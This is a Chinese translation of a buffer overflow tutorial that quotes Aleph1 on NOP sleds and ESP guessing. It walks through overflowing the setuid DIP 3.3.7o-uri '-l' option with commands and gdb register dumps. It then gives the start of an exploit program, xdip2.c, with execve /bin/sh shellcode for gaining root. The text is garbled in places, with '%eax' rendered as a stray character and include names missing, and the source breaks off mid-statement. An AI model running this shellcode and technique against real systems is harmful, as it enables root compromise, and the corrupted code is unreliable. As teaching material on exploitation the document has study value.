缓冲区溢出解密四

来自Aleph1的文章：

“可见这不是一个有效的过程。甚至在知道堆栈开始的位置时，试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试，坏的情况下会要上千次。问题是我们需要*准确*的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字节，我们将得到一个段侵犯或者无效指令。一个提高我们机会的方法是在我们溢出缓冲区开头填NOP指令。几乎所有的处理器都有NOP指令执行一个空操作。它经常被用来为了时间目的延迟执行。我们将利用它，并且用它们填充我们一半的溢出缓冲区。我们将在中间放置我们的shellcode，接着在它后面跟着返回地址。如果我们走运，而返回地址指向NOP字符串的任何位置，它们将被执行直到它们遇到我们的代码。在Intel构架中，NOP指令是1个字节长在机器码中它转换成0x90。假设堆栈从地址0xFF开始，S表示shell代码，N表示一个NOP指令，新的堆栈可能看起来象这样：

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of

memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory

buffer sfp ret a b c

这里，我们*猜测*地址。通过下面的子程序我们得到了当前存储在ESP寄存器中的地址：

unsigned long getesp()

{

__asm__("movl %esp, 陎");

}

有了上面这个函数的帮助，我们可以有一个内存中堆栈指针可能在哪儿的*想法*。接着，我们从这个SP的地址中减去偏移量。如果我们足够幸运的话，我们可以猜到缓冲区中一个NOP的地址。(然而，注意到getesp()不返回漏洞程序的ESP。它是我们漏洞利用程序的ESP。它仅仅考虑了一个范围。)

为了阐明这两个方法的不同之处，让我们写两个漏洞利用程序，应用一下目前为止我们所学的。

漏洞利用程序

现在我们知道了，什么是缓冲区溢出，知道如何利用缓冲区溢出覆盖返回地址，知道我们怎样能修改一个函数的返回地址，不必多说了。让我们编写漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中，有一个缓冲区溢出漏洞。在一些Linux发布版本中这个程序是默认setuid。

这个-l选项是有问题的。dip代码没有小心处理这个作为由用户传给程序的一个参数的值，没有边界检测，它仅仅stpcpy()作为参数的任何内容给一些本地缓冲区，这些缓冲区只能存有限的数据；因此增加了一个缓冲区溢出的风险。

漏洞代码如：

l = stpcpy(l, argv[i]);

如果你看stpcpy的手册页($man 3 stpcpy)；stpcpy,不考虑它所处理的缓冲区的边界，它把整个数组拷贝给另外一个。这里我们需要做的是：

1．在Aleph的方法中，用一些NULL操作(NOP)填到至少一半的缓冲区，接着放置你的shellcode和猜测一个NOP或者shellcode本身的地址。2.在我们的方法中，由于我们准确的知道我们shellcode在内存中的位置，我们仅仅拷贝这个地址到整个数组。

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e \’print "ABCD"x29\’`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e \’print "ABCD"x30\’`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Segmentation fault

[murat@victim murat]$

从上面可以看到，当我们写29个ABCD(29 * 4 = 116字节)什么都没有发生，然而当我们写30个ABCD(30 * 4 = 120 bytes)的时候，程序出现了段侵犯。它没有core dump，因为程序是setuid root权限的。让我们成为root，看看当我们给-l选项提供一个120字节的字符串时会发生什么：

[murat@victim murat]$ su

[root@victim murat]# gdb -q /usr/sbin/dip

(no debugging symbols found)…

(gdb) set args -k -l `perl -e \’print "ABCD" x 30\’`

(gdb) r

Starting program: /usr/sbin/dip -k -l `perl -e \’print "ABCD" x 30\’`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Program received signal SIGSEGV, Segmentation fault.

0x444342 in ?? ()

(gdb)

(gdb) i r

eax 0xb4 180

ecx 0xb4 180

edx 0x0 0

ebx 0x1 1

esp 0xbffffcd4 0xbffffcd4

ebp 0x41444342 0x41444342

esi 0x4 4

edi 0x805419e 134562206

eip 0x444342 0x444342

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb)

从这里可以看出，堆栈指针(ESP)和这个被保护的返回地址被我们的字符串”ABCD”覆盖了。在Ascii中：

A is 0x41, B is 0x42, C is 0x43, D is 0x44

注意到基本指针寄存器，它是：

ebp 0x41444342 0x41444342

这里的值是ADCB。这也意味着我们不能排列这个字符串。我们需要把字符串左移一个字节，这样ABCD适合一个4字节内存单元。这样的话：

(gdb) set args -k -l A`perl -e \’print "ABCD" x 30\’`

(gdb) r

Starting program: /usr/sbin/dip -k -l A`perl -e \’print "ABCD" x 30\’`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Program received signal SIGSEGV, Segmentation fault.

0x44434241 in ?? ()

(gdb) i r

eax 0xb5 181

ecx 0xb5 181

edx 0x0 0

ebx 0x1 1

esp 0xbffffcd4 0xbffffcd4

ebp 0x44434241 0x44434241

esi 0x4 4

edi 0x805419e 134562206

eip 0x44434241 0x44434241

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb)

可以看到，我们多加了一个A到我们的缓冲区开头，这样现在EIP和EBP寄存器都是：0x44434241，即我们可以校正我们的字符串了。

我将写两个漏洞利用程序。每一个将用一个不同的方法。第一个将是”经典技术”而另外一个将是环境变量技术。你比较这两个时，你将很容易地看出之间的不同，并且明白没有必要去尝试猜测奇怪的偏移。请注意，环境变量方法只有当是本地漏洞的时候才有用。

这里是用经典方法的：

xdip2.c :

#include

#include

#include

#include

#define BUF 130

#define NOP 0x90

#define ALIGN 1

char sc[]=

"\\x31\\xc0\\x50\\x68//sh\\x68/bin\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80";

unsigned long getesp()

{

__asm__("movl %esp, 陎");

}

void main(int argc, char *argv[])

{

int ret, i, n;

char *arg[5], buf[BUF];

int *ap;

if (argc

让我详细说明这个漏洞利用程序：

我们定义我们的缓冲区为130个字节长，因为一个121字节的数组对于我们来说是足够了，定义NULL操作指令的运算码为0x90，Alignment为1。